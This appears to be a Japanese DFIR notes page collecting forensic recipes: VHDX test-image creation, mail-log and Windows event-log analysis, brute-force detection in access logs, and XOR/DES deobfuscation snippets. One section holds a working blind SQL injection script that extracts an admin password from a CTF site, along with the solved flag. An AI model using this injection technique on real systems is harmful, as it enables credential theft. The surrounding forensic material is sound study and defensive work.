DFIRに役立つことを少しずつ加筆しようと思う。
vhdx修復用テストデータの作成
windows + x
ディスクの管理
C:をクリック
操作
VHDの作成
場所:c:\users\[user]\desktop\test.vhdx
サイズ:256MBくらい
フォーマット:VHDX
種類:容量固定
ディスク1ができた。
ディスク1を右クリック ディスクの初期化
240 MB 未割り当て を右クリック 新しいシンプルボリューム
次へ 次へ 完了
復元訓練をするために、フォルダや画像ファイル等をコピー
ディスク1を右クリック VHDの切断
あとはランサムウェアの癖に応じて、お好きに壊して
NTFS パーティションを dd で切り出すなら EB 52 90 4E 54 46 53 20 20 20 20
を検索
デベロッパーツール
Network で js を選択し Responsでソースを確認
{ }
で見やすくし、ctrl+f でhttp
などの文字検索も可能
qmail アカウントが侵害され、スパムを送信された
tar.gzの解凍
tar -zxvf filename.tar.gz
.gzファイルを一気に解凍する
find ./ -type f -name "*.gz" -exec gunzip {} \;
tai64n 形式のタイムスタンプに対応するため、daemontoolsをインスト
sudo apt install daemontools
侵害されたアカウント(例ではtest@test.jp)でgrepし、次行の to も抽出する
cd /var/log/qmail
grep -r -h \<test@test.jp\> -A 1 | tai64nlocal > spam.log
(訂正)-h忘れてました。-hが無いと、ファイル名が tai64nlocal される。
(追記)tai64nlocalを実行した環境のタイムゾーンに依存する。
from to を1行に
cat spam.log | awk '{ if (/ from /) { printf "%s ", $0 } else if (/ to /) { print $0 } }' > spam_1L.log
to remoote だけに絞るのは excel で
なお、delivery 99999999: success などの行は見ていないので、あくまで送信を試みた件数や送信先の把握に
sendmail 1行に
sendmail の from 行と to 行をくっつける
sort -k 6 で、確実に from と to をくっつけることが出来る
cat maillog | sort -k 6 | awk '{ if (/from=/) { printf "%s ", $0 } else if (/to=/) { print $0 } }' > maillog_1L.log
Windows Server
外からSSL-VPNにログインされた後、RDPで接続された
SecurityログについてはCYDER-Cで勉強したログオンタイプ 3 と 10 の話
TerminalServices-LocalSessionManager
21 ログオン成功(接続元はSSL-VPNのLAN側NICのIP)
22 シェルの開始通知
23 ログオフ ※Securityは4624だけなので、これから終了時間がわかる
24 セッション切断 ※Securityは4624だけなので、これから終了時間がわかる
TerminalServices-RemoteConnectionManager
261 RDP-Tcpで接続を受信
1149 リモートデスクトップサービス:ユーザー認証に成功(接続元はSSL-VPNのLAN側NICのIP)
MS-Win-SMBSvr/Sec 1006(The share denied access to the client.)には、アクセスを試みたフォルダが具体的に記録される。
このログを証拠として、D:\xxフォルダが閲覧されたと断言している報告書を見たことあるが、疑問だ。
それとも私の勉強不足?
4624 ANONYMOUS LOGON の評価方法
近接して、MS-Win-SMBSvr/Sec 551 等がある場合、基本、攻撃失敗(SMBのログを詳細に見ること)
Microsoft-Windows-SMBServer%4Audit.evtx
Microsoft-Windows-SMBServer%4Connectivity.evtx
Microsoft-Windows-SMBServer%4Operational.evtx
Microsoft-Windows-SMBServer%4Security.evtxy
RecentAppsは、win11から無くなったため、SANSの最新のPOSTERから消えているが、Windows Serverでは有効な場合がある。(ADのRecentAppsから攻撃の痕跡が出た)
Windows Server の C:\Windows\System32\LogFiles\SUM を解析すると、Securityイベントログの4624の代わりになる。(イベントログを消されていた場合に有効)
教養やCTFで使う不審なIPのリスト(ホスト名付き)
vol3
Volatility 3 の windows.netscan などが動かないとき、-vvでデバッグする
python3 vol.py -f memdump.mem windows.netscan -vv
sudo apt update
sudo apt install python3-pefile
sudo apt install python3-yara
あとは、Cryptoをいごいごする
sudo apt install python3-crypto
sudo apt install python3-pycrypto
sudo apt install python3-pycryptodome
sudo apt autoremove python3-crypto
sudo apt autoremove python3-pycrypto
sudo apt autoremove python3-pycryptodome
sudo apt install python3-crypto
sudo apt install python3-pycrypto
sudo apt install python3-pycryptodome
sudo apt remove python3-crypto
sudo apt remove python3-pycrypto
sudo apt remove python3-pycryptodome
sudo apt install python3-pycryptodome
python httpd
pythonでローカルwebサーバを立ち上げる
python -m http.server 80
grep
ブルートフォース発見
cat access_log | grep "login.php" | grep " 200 " | awk '{print $1, $4}' | sed 's/\[//g' | cut -d: -f1,2 | sort | uniq -c | sort -n
上記でうまくいかない場合
cat access_log | grep "login.php" | grep " 200 " | awk '{print $1, $4}' | sed 's/\[//g' | cut -d: -f1,2,3 | sort | uniq -c | sort -n
正規表現がうまく動いていない場合
cat access_log | grep 'http(s?)://[0-9a-zA-Z]{5,20}\.[a-z]{2}/'
cat access_log | grep -E 'http(s?)://[0-9a-zA-Z]{5,20}\.[a-z]{2}/'
正規表現が邪魔する場合、件数カウントの罠
cat access_log | grep "158.85.2.5" | grep "POST" | grep "login.php" | grep " 302 " | wc -l
IPアドレス 58.85.215.*などもヒットして間違った集計をしてしまう
cat access_log | grep -F "158.85.2.5 " | grep "POST" | grep "login.php" | grep " 302 " | wc -l
統計
cat access_log | awk -F ' ' '{print $1}' | sort | uniq -c | sort -nr
cat access_log | awk -F '"' '{print $6}' | sort | uniq -c | sort -nr
cat access_log | awk -F '\\[|\\]|"' '{split($1, arr, " "); print arr[1], $8}' | sort | uniq -c | sort -nr
squidのunixtimeを変換する
cat squid.log | awk '{sub(/[0-9]+\.[0-9]+/, strftime("%c",$1));print;}'
IPアドレス
cat text | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}"
cat text | grep -oE "http(s?)://[0-9a-zA-Z?=#+_&:/.%]+"
google_location.json
cat google_location.json | awk '{if(match($0,/[0-9]{13}/)){sub(/[0-9]{13}/,strftime("%Y-%m-%d %H:%M:%S %Z",substr($0,RSTART,RLENGTH)/1000))};print;}'
SQLi
ブラインドSQLi
import requests
import time
def main():
start = time.time()
url = 'http://ctfq.u1tramarine.blue/q6/'
sql = '\' or 1=1 --'
payload = {'id': sql,}
response = requests.post(url, data=payload)
print(len(response.text))
# 2237
sql = 'admin'
payload = {'id': sql,}
response = requests.post(url, data=payload)
print(len(response.text))
# 484
'''
2237が返ってくるときSQLインジェクションが成功
'''
for i in range(1, 100):
#print('LENGTH(pass) = ' + str(i))
sql = 'admin\' AND (SELECT LENGTH(pass) FROM user WHERE id = \'admin\') = {counter} --'.format(counter=i)
payload = {
'id': sql,
}
response = requests.post(url, data=payload)
if len(response.text) > 2000:
print('length of the password is {counter}'.format(counter=i))
break
# パスワード長は、21
password = ''
for index in range(1, 21 + 1):
print('index = ' + str(index))
for char_number in range(48, 123):
char = chr(char_number)
#print('char = ' + char)
sql = 'admin\' AND SUBSTR((SELECT pass FROM user WHERE id = \'admin\'), {index}, 1) = \'{char}\' --'.format(index=index, char=char)
payload = {
'id': sql,
'pass': ''
}
response = requests.post(url, data=payload)
if len(response.text) > 2000:
password += char
print(password)
break
print(password)
elapsed_time = time.time() - start
print ("elapsed_time:{0}".format(elapsed_time) + "[sec]")
'''
FLAG_KpWa4ji3uZk6TrPK
elapsed_time:44.451918601989746[sec]
'''
if __name__ == '__main__':
main()
sqlite-tools-win32
sqlite3 <ファイル名> で起動
.database で続しているデータベースを確認
.tables で接続しているデータベースのテーブル一覧を確認
.headers on でカラム名を表示
select * from sqlite_master where type = 'table'; でテーブルのカラムを調べる
SELECT datetime((visits.visit_time/1000000)-11644473600,'unixepoch','localtime') as '日時', urls.url as 'URL', urls.title as 'タイトル', urls.visit_count as '回数' FROM visits,urls WHERE urls.id = visits.url;
難読化
xor
ext = u'S]1\u0001 VLY:\a8\u001dns[\u001c81I~I5<\v\u0001Sk_$\u0013\v'
key = 'ysAqTvfwJwLeNYudTBiTgMPx'
dec = ''
for i in range(len(ext)):
dec = dec + chr(ord(ext[i]) ^ ord(key[i % len(key) ]))
print(dec)
ext = "傘偘傰傠储偈傘傘傀偠傠储储僸储僐僨傠傀"
dec = ""
j = 0
for i in range(len(ext)):
dec = dec + chr((ord(ext[i]) - 0x4e00) >> 3 ^ ord("beg"[j]))
j = (j+1) %3
print(dec)
DES
from Crypto.Cipher import DES
import base64
enc = base64.urlsafe_b64decode("FLd6x1SyIHYywzjnHkCPiia3FtWLPFQa")
key = b"Ab5d1Q32"
des = DES.new(key,2,key)
dec = des.decrypt(enc)
print(dec)